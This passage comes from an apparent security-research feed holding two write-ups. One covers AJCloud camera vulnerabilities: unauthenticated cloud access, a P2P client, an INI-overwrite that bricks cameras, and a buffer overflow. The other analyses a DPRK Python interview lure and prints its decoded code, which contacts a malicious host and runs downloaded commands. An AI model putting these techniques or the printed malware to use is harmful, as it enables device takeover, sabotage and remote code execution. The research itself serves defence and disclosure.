then allow the app to resume execution.</p> <p>Amazingly enough, this naive approach not only worked to retrieve sensitive data stored in the AJCloud platform associated with the target camera and the account it is tied to, but it also connected us to the camera itself. This allowed us to access its video and audio streams and remotely control it through the app as if it were our own camera.</p> <p>Through exploiting this vulnerability and testing against multiple models from various vendors, we determined that all devices connected to the AJCloud platform could be remotely accessed and controlled in this manner. We wrote a <a href="https://github.com/elastic/camera-hacks/blob/main/windows/win_exploit.py">PoC exploit script</a> to automate this process and effectively demonstrate the ease with which this access control vulnerability within AJCloud’s infrastructure can be trivially exploited.</p> <h2>Exploring the network communications</h2> <p>Though we were able to build and reliably trigger an exploit against a critical vulnerability in the AJCloud platform, we would need to dig further in order to gain a better understanding of the inner workings of the apps, the camera firmware, and the cloud infrastructure.</p> <p>As we explored beyond the POST requests and responses observed throughout the sign-in process, we noticed a plethora of UDP requests and responses from a wide assortment of IPs. Little in the way of discernible plaintext data could be found throughout these communications, and the target UDP port numbers for the outbound requests seemed to vary. Further investigation would later reveal that this UDP activity was indicative of PPPP, an IoT peer-to-peer (P2P) protocol that was analyzed and demonstrated extensively by Paul Marrapesse during his <a href="https://youtu.be/Z_gKEF76oMM?si=cqCBU6iPxCyEm-xm">presentation at DEF CON 28</a>. We would later conclude that the way in which we exploited the vulnerability we discovered was facilitated through modified P2P requests, which led us to further explore the critical role that P2P plays in the AJCloud platform.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image22.png" alt="" title="image_tooltip" /></p> <p>The main purpose of P2P is to facilitate communication between applications and IoT devices, regardless of the network configurations involved. P2P primarily utilizes an approach based around <a href="https://en.wikipedia.org/wiki/UDP_hole_punching">UDP hole punching</a> to create temporary communication pathways that allow requests to reach their target either directly or through a relay server located in a more accessible network environment. The core set of P2P commands integrated into AJCloud’s apps provides access to video and audio streams as well as the microphone and pan/tilt/zoom.</p> <h2>Advanced Hardware Hacking</h2> <p>With our additional understanding of the P2P communications, it was now time to examine the camera itself more closely during these P2P conversations, including running the camera software in a debugger. To start, we set up the camera with a live logging output via the UART serial connection that we established earlier, shown below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image5.png" alt="" title="image_tooltip" /></p> <p>This provided a live look at the log messages from the applications as well as any additional logging sources we needed. From this information, we identified the primary binary that is used to establish communication between the camera and the cloud as well as providing the interfaces to access the camera via P2P.</p> <p>This binary is locally called initApp, and it runs once the camera has been fully initialized and the boot sequence is completed. Given this, we set out to run this binary with a debugger to better evaluate the local functions. In attempting to do so, we encountered a kernel watchdog that detected when initApp was not running and would forcibly restart the camera if it detected a problem. This watchdog checks for writes to <code>/dev/watchdog</code> and, if these writes cease, will trigger a timer that will reboot the camera if the writes do not resume. This makes debugging more difficult as when one pauses the execution of initApp, the writes to the watchdog pause as well. An example of this stopping behavior is shown below:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image18.png" alt="" title="image_tooltip" /></p> <p>To avoid this, one could simply try writing to the watchdog whenever initApp stops to prevent the reboot. However, another cleaner option is to make use of the magic close feature of the <a href="https://www.kernel.org/doc/Documentation/watchdog/watchdog-api.txt">Linux Kernel Watchdog Driver API</a>. In short, if one writes a specific magic character ‘V’ <code>/dev/watchdog</code> the watchdog will be disabled. There are other methods of defeating the watchdog as well, but this was the one we chose for our research as it makes it easy to enable and disable the watchdog at will.</p> <p>With the watchdog disabled, setting up to debug initApp is fairly straightforward. We wanted to run the code directly on the camera, if possible, instead of using an emulator. The architecture of the camera is Little Endian MIPS (MIPSEL). We were fortunate that pre-built GDB and GDBServer binaries were able to function without modification; however, we did not know this initially, so we also set up a toolchain to compile GDBServer specifically for the camera. One technique that might be useful if you find yourself in a similar situation is to use a compilation tool like gcc to compile some source code to your suspected target architecture and see if it runs; see the example below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image25.png" alt="" title="image_tooltip" /></p> <p>In our case, since our SoC was known to us, we were fairly certain of the target architecture; however, in certain situations, this may not be so simple to discover, and working from hello world binaries can be useful to establish an initial understanding. Once we were able to compile binaries, we then compiled GDBServer for our camera and then used it to attach and launch initApp. Then, we connected to it from another computer on the same local network as the camera. An example of this is shown below:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image7.png" alt="" title="image_tooltip" /></p> <p>As a note for the above example, we are using the <code>-x</code> parameter to pass in some commands for convenience, but they are not necessary for debugging. For more information on any of the files or commands, please see our <a href="https://github.com/elastic/camera-hacks/tree/main">elastic/camera-hacks</a> GitHub repo. In order for initApp to load properly, we also needed to ensure that the libraries used by the binary were accessible via the <code>PATH</code> and <code>LD_LIBARY_PATH</code> environment variables. With this setup, we were then able to debug the binary as we needed. Since we also used the magic character method of defeating the watchdog earlier we also will need to make sure to control instances where the watchdog can be re-enabled. In most cases, we do not want this to happen. As such, we overwrote the watchdog calls in initApp so that the watchdog would not be re-enabled while we were debugging, as shown below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image3.png" alt="" title="image_tooltip" /></p> <p>The following video shows the full setup process from boot to running GDBServer. In the video, we also start a new initApp process, and as such, we need to kill both the original process and the <code>daemon.sh</code> shell script that will spawn a new initApp process if it is killed.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/video1.gif" alt="" /></p> <h2>Building a P2P Client</h2> <p>In order to further explore the full extent of capabilities which P2P provides to AJCloud IoT devices and how they can be abused by attackers, we set out to build our own standalone client. This approach would remove the overhead of manipulating the Wansview Cloud Windows app while allowing us to more rapidly connect to cameras and test out commands we derive from reverse engineering the firmware.</p> <p>From the configuration data we obtained earlier from the Windows app logs, we knew that a client issues requests to up to three different servers as part of the connection process. These servers provide instructions to clients as to where traffic should be routed in order to access a given camera. If you would like to discover more of these servers out in the open, you can scan the Internet using the following four-byte UDP payload on port <code>60722</code>. Paul Marrapese used this technique to great effect as part of his research.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image34.png" alt="" title="image_tooltip" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image6.png" alt="" title="image_tooltip" /></p> <p>In order to properly establish a P2P connection, a client must first send a simple hello message (<code>MSG_HELLO</code>), which needs to be ACK’d (<code>MSG_HELLO_ACK</code>) by a peer-to-peer server. The client then queries the server (<code>MSG_P2P_REQ</code>) for a particular deviceId. If the server is aware of that device, then it will respond (<code>MSG_PUNCH_TO</code>) to the client with a target IP address and UDP port number pair. The client will then attempt to connect (<code>MSG_PUNCH_PKT</code>) to the IP and port pair along with other ports <a href="https://github.com/elastic/camera-hacks/blob/deb2abe9a7a1009c5c1b7d34584f143d5b62c82e/p2p/p2p_client.py#L247-L260">within a predetermined range</a> as part of a <a href="https://en.wikipedia.org/wiki/UDP_hole_punching">UDP hole punching</a> routine. If successful, the target will send a message (<code>MSG_PUNCH_PKT</code>) back to the client along with a final message (<code>MSG_P2P_RDY</code>) to confirm that the connection has been established.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image28.gif" alt="" title="image_tooltip" /></p> <p>After connecting to a camera, we are primarily interested in sending different <code>MSG_DRW</code> packets and observing their behavior. These packets contain commands which will allow us to physically manipulate the camera, view and listen to its video and audio streams, access data stored within it, or alter its configuration. The most straightforward command we started with involved panning the camera counter clockwise, which we could easily identify as a single message transmission.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image30.png" alt="" title="image_tooltip" /></p> <p>Debug log messages on the camera allowed us to easily locate where this command was processed within the firmware.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image20.png" alt="" title="image_tooltip" /></p> <p>Locating the source of this particular message placed us in the main routine which handles processing MSG_DRW messages, which provided us with critical insight into how this command is invoked and what other commands are supported by the firmware.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image14.png" alt="" title="image_tooltip" /></p> <p>Extensive reverse engineering and testing allowed us to build a <a href="https://github.com/elastic/camera-hacks/blob/main/p2p/p2p_client.py">PoC P2P client</a> which allows users to connect to any camera on the AJCloud platform, provided they have access to its deviceId. Basic commands supported by the client include camera panning and tilting, rebooting, resetting, playing audio clips, and even crashing the firmware.</p> <p>The most dangerous capability we were able to implement was through a command which modifies a core device configuration file: <code>/var/syscfg/config_default/app_ajy_sn.ini</code>. On our test camera, the file’s contents were originally as follows:</p> <pre><code>[common] product_name=Q5 model=NAV vendor=WVC serialnum=WVCD7HUJWJNXEKXF macaddress= wifimacaddress= </code></pre> <p>While this appears to contain basic device metadata, this file is the only means through which the camera knows how to identify itself. Upon startup, the camera reads in the contents of this file and then attempts to connect to the AJCloud platform through a series of curl requests to various API endpoints. These curl requests pass along the product name, camera model, vendor code, and serial number values extracted from the INI file as query string arguments. We used our client to deliver a message which overwrites the contents like so:</p> <pre><code>[common] product_name= model=OPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~HH01 vendor=YZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~HH01 serialnum=defghijklmnopqrstuvwxyz{|}~HH01 macaddress= wifimacaddress= </code></pre> <p>After the camera is reset, all curl requests issued to AJCloud platform API endpoints as part of the startup routine will fail due to the malformed data contained within the INI file. These requests will continue to periodically be sent, but they will never succeed and the camera will remain inactive and inaccessible through any apps. Unfortunately, there is no simple way to restore the previous file contents through resetting the camera, updating its firmware, or restoring the factory settings. File modifications carried out through this command will effectively brick a camera and render it useless.</p> <iframe src="https://drive.google.com/file/d/1oK_umHYfScza-F5RQNUGgFe3GFOt5n--/preview" width="640" height="480" allow="autoplay"></iframe> <p>Taking a closer look at the decompiled function (<code>syscfg_setAjySnParams</code>) which overwrites the values stored in <code>app_ajy_sn.ini</code>, we can see that input parameters, extracted from the <code>MSG_DRW</code> command are used to pass along string data which will be used to overwrite the model, vendor, and serial number fields in the file. memset is used to overwrite three global variables, intended to store these input strings, with null bytes. strcpy is then used to transfer the input parameters into these globals. In each instance, this will result in bytes being copied directly from the <code>MSG_DRW</code> command buffer until it encounters a null character.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/image21.png" alt="" title="image_tooltip" /></p> <p>Because no validation is enforced on the length of these input parameters extracted from the command, it is trivial to craft a message of sufficient length which will trigger a buffer overflow. While we did not leverage this vulnerability as part of our attack to brick the camera, this appears to be an instance where an exploit could be developed which would allow for an attacker to achieve remote code execution on the camera.</p> <h2>Impact</h2> <p>We have confirmed that a broad range of devices across several vendors affiliated with AJCloud and several different firmware versions are affected by these vulnerabilities and flaws. Overall, we successfully demonstrated our attacks against fifteen different camera products from Wansview, Galayou, Cinnado, and Faleemi. Based on our findings, it is safe to assume that all devices which operate AJCloud firmware and connect to the AJCloud platform are affected.</p> <p>All attempts to contact both AJCloud and Wansview in order to disclose these vulnerabilities and flaws were unsuccessful.</p> <h2>What did the vendors do right?</h2> <p>Despite the vulnerabilities we discovered and discussed previously, there are a number of the security controls that AJCloud and the camera vendors implemented well. For such a low cost device, many best practices were implemented. First, the network communications are secured well using certificate based WebSocket authentication. In addition to adding encryption, putting many of the API endpoints behind the certificate auth makes man in the middle attacks significantly more challenging. Furthermore, the APKs for the mobile apps were signed and obfuscated making manipulating these apps very time consuming.</p> <p>Additionally, the vendors also made some sound decisions with the camera hardware and firmware. The local OS for the camera is effectively limited, focusing on just the needed functionality for their product. The file system is configured to be read only, outside of logging, and the kernel watchdog is an effective method of ensuring uptime and reducing risk of being stuck in a failed state. The Ingenic Xburst T31 SoC, provides a capable platform with a wide range of support including secure boot, a Power-On Reset (POR) watchdog, and a separate RISC-V processor capable of running some rudimentary machine learning on the camera input.</p> <h2>What did the vendors do wrong?</h2> <p>Unfortunately, there were a number of missed opportunities with these available features. Potentially the most egregious is the unauthenticated cloud access. Given the API access controls established for many of the endpoints, having the camera user access endpoints available via serial number without authentication is a huge and avoidable misstep. The P2P protocol is also vulnerable as we showcased, but compared to the API access which should be immediately fixable, this may take some more time to fix the protocol. It is a very dangerous vulnerability, but it is a little bit more understandable as it requires considerably more time investment to both discover and fix.</p> <p>From the application side, the primary issue is with the Windows app which has extensive debug logging which should have been removed before releasing publicly. As for the hardware, it can be easily manipulated with physical access (exposed reset button, etc.). This is not so much an issue given the target consumer audience. It is expected to err on the side of usability rather than security, especially given physical access to the device. On a similar note, secure boot should be enabled, especially given that the T31 SoC supports it. While not strictly necessary, this would make it much harder to debug the source code and firmware of the device directly, making it more difficult to discover vulnerabilities that may be present. Ideally it would be implemented in such a way that the bootloader could still load an unsigned OS to allow for easier tinkering and development, but would prevent the signed OS from loading until the boot loader configuration is restored. However, one significant flaw in the current firmware is the dependence on the original serial number that is not stored in a read only mount point while the system is running. Manipulating the serial number should not permanently brick the device. It should either have a mechanism for requesting a new serial number (or restoring its original serial number) should its serial number be overwritten, or the serial number should be immutable.</p> <h2>Mitigations</h2> <p>Certain steps can be taken in order to reduce the attack surface and limit potential adverse effects in the event of an attack, though they vary in their effectiveness.</p> <p>Segmenting Wi-Fi cameras and other IoT devices off from the rest of your network is a highly recommended countermeasure which will prevent attackers from pivoting laterally to more critical systems. However, this approach does not prevent an attacker from obtaining sensitive user data through exploiting the access control vulnerability we discovered in the AJCloud platform. Also, considering the ease in which we were able to demonstrate how cameras could be accessed and manipulated remotely via P2P, any device connected to the AJCloud platform is still at significant risk of compromise regardless of its local network configuration.</p> <p>Restricting all network communications to and from these cameras would not be feasible due to how essential connectivity to the AJCloud platform is to their operation. As previously mentioned, the devices will simply not operate if they are unable to connect to various API endpoints upon startup.</p> <p>A viable approach could be restricting communications beyond the initial startup routine. However, this would prevent remote access and control via mobile and desktop apps, which would defeat the entire purpose of these cameras in the first place. For further research in this area, please refer to “<a href="https://petsymposium.org/popets/2021/popets-2021-0075.pdf">Blocking Without Breaking: Identification and Mitigation of Non-Essential IoT Traffic</a>”, which explored this approach more in-depth across a myriad of IoT devices and vendors.</p> <p>The best approach to securing any Wi-Fi camera, regardless of vendor, while maintaining core functionality would be to flash it with alternative open source firmware such as <a href="https://openipc.org">OpenIPC</a> or <a href="https://thingino.com">thingino</a>. Switching to open source firmware avoids the headaches associated with forced connectivity to vendor cloud platforms by providing users with fine grain control of device configuration and remote network accessibility. Open access to the firmware source helps to ensure that critical flaws and vulnerabilities are quickly identified and patched by diligent project contributors.</p> <h2>Key Takeaways</h2> <p>Our research revealed several critical vulnerabilities that span all aspects of cameras operating AJCloud firmware which are connected to their platform. Significant flaws in access control management on their platform and the PPPP peer protocol provides an expansive attack surface which affects millions of active devices across the world. Exploiting these flaws and vulnerabilities leads to the exposure of sensitive user data and provides attackers with full remote control of any camera connected to the AJCloud platform. Furthermore, a built-in P2P command, which intentionally provides arbitrary write access to a key configuration file, can be leveraged to either permanently disable cameras or facilitate remote code execution through triggering a buffer overflow.</p> <p>Please visit our <a href="https://github.com/elastic/camera-hacks">GitHub repository</a> for custom tools and scripts we have built along with data and notes we have captured which we felt would provide the most benefit to the security research community.</p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/storm-on-the-horizon/storm-on-the-horizon.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Code of Conduct: DPRK’s Python-fueled intrusions into secured networks]]></title> <link>https://www.elastic.co/security-labs/dprk-code-of-conduct</link> <guid>dprk-code-of-conduct</guid> <pubDate>Wed, 18 Sep 2024 00:00:00 GMT</pubDate> <description><![CDATA[Investigating the DPRK’s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.]]></description> <content:encoded><![CDATA[<h2>Preamble</h2> <p>Few threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.</p> <p>This versatile programming language, prized for its accessibility and power, has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.</p> <p>This publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on <a href="https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages">research published</a> by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.</p> <h2>Key takeaways</h2> <ul> <li>The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.</li> <li>The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.</li> <li>These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.</li> <li>The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files</li> </ul> <h2>RookeryCapital_PythonTest.zip</h2> <p>This sample is distributed under the guise of a Python coding challenge for a “Capital One” job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.</p> <p>Using encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.</p> <p>We'll analyze this Python application line by line, uncovering how it:</p> <ul> <li>Establishes a connection to a malicious server</li> <li>Executes hidden commands via remote code execution (RCE)</li> <li>Uses common obfuscation techniques to fly under the radar</li> <li>Embeds persistent retry mechanisms to ensure successful communication</li> </ul> <p><img src="https://www.elastic.co/security-labs/assets/images/dprk-code-of-conduct/image5.png" alt="DPRK Python initial access execution flow" title="DPRK Python initial access execution flow" /></p> <h3>PasswordManager.py</h3> <p>This “Python Challenge” is provided via a <code>.zip</code> file containing a Python application called “PasswordManager”. This application primarily consists of a main script, <code>PasswordManager.py</code>, and two Python modules, <code>Pyperclip</code> and <code>Pyrebase</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/dprk-code-of-conduct/image1.png" alt="PasswordManager Application Contents" title="PasswordManager Application Contents" /></p> <p>Examining the <code>README.md</code> file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/dprk-code-of-conduct/image4.png" alt="Excerpt from “PasswordManager” application README file" title="Excerpt from “PasswordManager” application README file" /></p> <p>This was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.</p> <p>The main <code>PasswordManager.py</code> file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (<code>Pyperclip</code> and <code>Pyrebase</code>) into this main script.</p> <h4>Pyperclip module</h4> <p>The <code>Pyperclip</code> module has two files, <code>__init__.py</code> and <code>__main__.py</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/dprk-code-of-conduct/image2.png" alt="Pyperclip module files " title="Pyperclip module files " /></p> <p>In Python, modules often consist of multiple files, with two important ones being <code>__init__.py</code> and <code>__main__.py</code>. The <code>__init__.py</code> file initializes a Python package, allowing it to function when imported, while the <code>__main__.py</code> file allows the module to be run as a standalone program.</p> <h5><strong>init</strong>.py</h5> <p><code>__init__.py</code> is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., <code>pbcopy</code> for macOS, <code>xclip</code> for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5).</p> <p>The imports reveal potentially interesting or suspicious functionality from libraries such as <code>base64</code>, <code>codecs</code>, <code>subprocess</code>, and <code>tempfile</code>. The <code>base64</code> module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with <code>codecs</code>, another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.</p> <p>The presence of the <code>subprocess</code> module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.</p> <p>The inclusion of the <code>tempfile module</code> is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.</p> <pre><code>import contextlib import ctypes import os import platform import subprocess import sys import time import warnings import requests import datetime import platform import codecs import base64 import tempfile import subprocess import os </code></pre> <p><strong><strong>init</strong>.py imports</strong></p> <p>Analyzing the script a large base64 encoded blob assigned to the variable <code>req_self</code> quickly stands out.</p> <pre><code>req_self = "aW1wb3J0IHN0….Y29udGludWUNCg==" </code></pre> <p>Decoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code.</p> <h5>Obfuscated Python Script</h5> <p>The script imports several standard libraries (e.g., <code>requests</code>, <code>random</code>, <code>platform</code>), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.</p> <pre><code>import string import random import requests import platform from time import sleep import base64 import os import codecs </code></pre> <p><strong>Encoded Python script imports</strong></p> <p>The script contains two functions named <code>co</code> and <code>rand_n</code>.</p> <p>The <code>co</code> function operates as a helper function. This function checks the current operating system (<code>osn</code>). It uses the <code>codecs.decode</code> function with ROT13 encoding to decode the string <code>Jvaqbjf</code>, which results in <code>Windows</code>. If the operating system is Windows, it returns <code>0</code>; otherwise, it returns <code>1</code>.</p> <pre><code>def co(osn): if osn == codecs.decode('Jvaqbjf', 'rot13'): return 0 else: return 1 </code></pre> <p><strong><code>co</code> function within encoded Python script</strong></p> <p>Decoding ROT13 can easily be done on the macOS or Linux CLI or with the <a href="https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=SnZhcWJqZg&oeol=CRLF">ROT13 CyberChef recipe</a>.</p> <pre><code>$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' Windows </code></pre> <p>The <code>rand_n</code> function generates an 8-digit pseudorandom number from the string <code>123456789</code>. This is likely used as an identifier (<code>uid</code>) in further communication with the remote server.</p> <pre><code>def rand_n(): _LENGTH = 8 str_pool = "123456789" result = "" for i in range(_LENGTH): result += random.choice(str_pool) return result </code></pre> <p><strong><code>rand_n</code> function within encoded Python script</strong></p> <p>Following the function declarations, the script defines a set of variables with hardcoded values it will use.</p> <pre><code>uid = rand_n() f_run = "" oi = platform.system() url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13') headers = {"Content-Type": "application/json; charset=utf-8"} data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi)) </code></pre> <p><strong>Encoded Python script variables</strong></p> <ul> <li><code>uid</code>: Random identifier generated using <code>rand_n()</code></li> <li><code>oi</code>: The operating system platform</li> <li><code>url</code>: After decoding using ROT13, this resolves to a URL for a malicious server (<a href="https://akamaitechnologies%5B.%5Donline">https://akamaitechnologies[.]online</a>). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.</li> <li><code>data</code>: This is the data payload being sent to the server. It includes a decoded string (<code>Amazon[.]com</code>), the random uid, and the result of <code>co(oi)</code> which checks if the OS is Windows.</li> </ul> <p>The last part of the script is the main while loop.</p> <pre><code>while True: try: response = requests.post(url, headers=headers, data=data) if response.status_code != 200: sleep(60) continue else: res_str = response.text if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15: res = response.text borg = res[10:] dec_res = base64.b64decode(borg).decode('utf-8') globals()['pu_1'] = uid globals()['pu_2'] = url exec(compile(dec_res, '', 'exec'), globals()) sleep(1) break else: sleep(20) pass except: sleep(60) continue </code></pre> <p><strong>Encoded Python script main while loop</strong></p> <p>The first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.</p> <p>Else, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using <code>exec(compile(dec_res, '', 'exec'), globals())</code>. This allows the attacker to send arbitrary Python code to be executed on the victim's machine.</p> <p>Towards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.</p> <p>Now that we understand the purpose of the encoded Python script let's go back to the <code>__inity__.py</code> script and break down the function that executes the base64-encoded section.</p> <h5><strong>inity</strong>.py</h5> <p>Back within the <code>__inity__.py</code> script we can look for any other reference to the <code>req_self</code> variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as <code>cert_acc</code>.</p> <pre><code>def cert_acc(): ct_type = platform.system() l_p = tempfile.gettempdir() if ct_type == codecs.decode("Jvaqbjf", stream_method): l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method) header_ops = codecs.decode(push_opr, stream_method) + l_p else: l_p = l_p + codecs.decode('/eronfr.gzc', stream_method) header_ops = codecs.decode(push_ops, stream_method) + l_p request_query = open(l_p, 'w') request_object = base64.b64decode(req_self) request_query.write(request_object.decode('utf-8')) request_query.close() try: if ct_type == codecs.decode("Jvaqbjf", stream_method): subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS) else: subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp) except: pass cert_acc() </code></pre> <pre><code>ct_type = platform.system() </code></pre> <p>This variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the <code>platform.system()</code> function. The value is stored in the <code>ct_type</code> variable.</p> <pre><code>l_p = tempfile.gettempdir() </code></pre> <p>This variable calls the <code>tempfile.gettempdir() function</code>, which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to <code>l_p</code>.</p> <p>The <code>if-else</code> block takes advantage of the codecs library decode function using ROT13 to decode the string <code>Jvaqbjf</code>, which translates to <code>Windows</code>. This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be <code>\eronfr.gzc</code>, <code>\rebase.tmp</code> after decoding) to the temporary directory path <code>l_p</code>. It then constructs a command <code>header_ops</code>, which likely combines the decoded <code>push_opr</code> variable (also using ROT13) with the path.</p> <p>If the system is not Windows, it appends a Unix-like file path <code>/eronfr.gzc</code> (<code>/rebase.tmp</code> after decoding) and similarly constructs a command using <code>push_ops</code>. This part of the code is designed to run different payloads or commands depending on the operating system.</p> <pre><code>if ct_type == codecs.decode("Jvaqbjf", stream_method): l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method) header_ops = codecs.decode(push_opr, stream_method) + l_p else: l_p = l_p + codecs.decode('/eronfr.gzc', stream_method) header_ops = codecs.decode(push_ops, stream_method) + l_p </code></pre> <p>The next several statements, starting with <code>request_</code>, serve to write the Base64-encoded Python script we have already analyzed to<code> disk in the temporary directory. This code opens a new file in the temporary directory (</code>l_p<code>), which was previously set depending on the system type. The variable </code>req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.</p> <pre><code>request_query = open(l_p, 'w') request_object = base64.b64decode(req_self) request_query.write(request_object.decode('utf-8')) request_query.close() </code></pre> <p>The function's final <code>try</code> block facilitates the execution of the encoded Python script.</p> <p>If the system type is Windows, the code attempts to execute the file (constructed in <code>header_ops</code>) using the <code>subprocess.Popen function</code>. The <code>DETACHED_PROCESS</code> flag ensures that the process runs independently of the parent process, making it harder to track.</p> <p>If the system is not Windows, it runs the file using a different execution method (<code>subprocess.Popen</code> with <code>shell=True</code>), which is more common for Unix-like systems (Linux/macOS). The <code>preexec_fn=os.setpgrp</code> makes the process immune to terminal interrupts, allowing it to run in the background.</p> <pre><code>try: if ct_type == codecs.decode("Jvaqbjf", stream_method): subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS) else: subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp) except: pass </code></pre> <p>The <code>cert_acc</code> function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.</p> <p>The script within the <code>Pyperclip</code> package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system’s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine.</p> <h4>Campaign intersections</h4> <p>When we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild.</p> <p>This lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we’ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as “<a href="https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists">CovertCatch</a>.”</p> <p>The next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as “<a href="https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn">KandyKorn</a>” that targeted CryptoCurrency developers and engineers.</p> <h2>Detection, Hunting and Mitigation Strategies</h2> <p>Detecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness.</p> <p>The best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from “recruiters”, “developer forums”, “Github”, etc., will provide a strong foundation of defense against these attacks.</p> <p>Regarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well.</p> <h3>[Detection] Python Subprocess Shell Tempfile Execution 